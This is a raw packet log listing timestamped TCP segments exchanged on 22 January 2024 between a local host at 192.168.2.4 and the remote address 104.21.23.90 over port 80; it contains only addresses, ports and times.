Jan 22, 2024 11:52:05.567677975 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.567704916 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.568476915 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.568489075 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.568500042 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.568516016 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.568527937 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.568535089 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.568582058 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.569339037 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.569376945 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.569389105 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.569400072 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.569411993 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.569439888 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.569470882 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.570280075 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.570291042 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.570302010 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.570312977 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.570324898 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.570343018 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.570393085 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.571125984 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.571139097 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.571150064 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.571161032 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.571172953 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.571194887 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.571238041 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.571662903 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.571676016 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.571686983 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.571700096 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.571717024 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.571719885 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.571748018 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.571770906 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.572544098 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.572556973 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.572567940 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.572580099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.572592974 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.572603941 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.572647095 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.573368073 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.573380947 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.573391914 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.573404074 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.573415995 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.573429108 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.573462009 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.574264050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.574275970 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.574285984 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.574297905 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.574311018 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.574323893 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.574353933 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.575122118 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.575134993 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.575145960 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.575158119 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.575167894 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.575180054 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.575205088 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.575227022 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.575851917 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.575881958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.575894117 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.575911999 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.575923920 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.575933933 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.575959921 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.576781034 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.576792955 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.576809883 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.576822042 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.576833963 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.576849937 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.576889992 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.577578068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.577667952 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.577698946 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.577709913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.577723026 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.577747107 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.577784061 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.578442097 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.578496933 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.578521967 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.578535080 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.578541994 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.578548908 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.578602076 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.579296112 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.579314947 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.579338074 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.579375029 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.579400063 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.579412937 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.579458952 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.580176115 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.580188036 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.580198050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.580210924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.580223083 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.580239058 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.580257893 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.580282927 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.581013918 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.581027985 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.581065893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.581074953 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.581079960 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.581093073 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.581135035 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.581914902 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.581929922 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.581942081 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.581954956 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.581969023 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.581979036 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.582001925 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.582027912 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.582767963 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.582782984 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.582793951 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.582814932 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.582828045 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.582828999 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.582863092 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.583559990 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.583616972 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.583628893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.583642960 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.583655119 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.583669901 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.583690882 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.583728075 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.584404945 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.584417105 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.584429026 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.584456921 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.584462881 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.584476948 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.584511995 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.585187912 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.585201979 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.585241079 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.585289955 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.585304976 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.585316896 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.585330963 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.585345984 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.585381985 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.586215973 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.586230040 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.586240053 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.586258888 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.586272001 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.586277008 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.586286068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.586303949 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.586330891 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.587171078 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.587183952 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.587196112 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.587229967 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.587258101 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.587579966 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.587594032 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.587641001 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.587707996 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.587723017 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.587733984 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.587749004 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.587769032 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.587800026 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.588550091 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.588609934 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.588624001 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.588663101 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.588670969 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.588677883 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.588691950 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.588704109 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.588742971 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.589503050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.589517117 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.589529991 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.589560986 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.589560986 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.589576006 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.589593887 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.589612961 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.589662075 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.590495110 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.590507984 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.590521097 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.590533018 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.590547085 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.590562105 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.590578079 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.590615988 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.591324091 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.591412067 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.591424942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.591439009 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.591458082 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.591464996 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.591475964 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.591490030 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.591528893 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.592215061 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.592324972 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.592336893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.592346907 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.592359066 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.592371941 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.592385054 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.592422962 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.593108892 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.593121052 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.593166113 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.593194962 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.593208075 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.593218088 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.593230009 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.593265057 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.593281984 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.594074965 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.594089031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.594100952 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.594115019 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.594129086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.594129086 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.594142914 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.594157934 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.594185114 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.594831944 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.594934940 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.594948053 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.594961882 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.594974995 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.594988108 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.594989061 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.595021963 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.595042944 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.595860958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.595874071 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.595886946 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.595901012 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.595916033 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.595918894 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.595930099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.595957041 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.595984936 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.596563101 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.596626043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.596681118 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.596839905 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.596931934 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.596946001 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.596959114 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.596972942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.596986055 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.596987009 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.597021103 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.597044945 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.597708941 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.597773075 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.597785950 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.597799063 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.597812891 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.597826958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.597826958 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.597856998 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.597879887 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.598524094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.598598957 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.598613024 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.598628998 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.598649025 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.598653078 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.598664045 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.598675013 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.598720074 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.599381924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.599395037 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.599435091 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.599457979 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.599473000 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.599486113 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.599498987 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.599513054 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.599533081 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.599572897 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.600333929 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.600348949 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.600384951 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.600394011 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.600408077 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.600420952 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.600435972 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.600445986 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.600450039 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.600472927 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.600512981 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.601274014 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.601336002 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.601350069 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.601362944 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.601376057 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.601391077 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.601392031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.601407051 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.601412058 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.601454973 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.602267027 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.602281094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.602293968 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.602307081 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.602322102 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.602325916 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.602344036 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.602351904 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.602360964 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.602377892 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.602417946 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.603060007 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.603074074 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.603133917 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.603137970 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.603230000 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.603244066 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.603256941 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.603271961 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.603281021 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.603286028 CET	80	49730	104.21.23.90	192.168.2.4
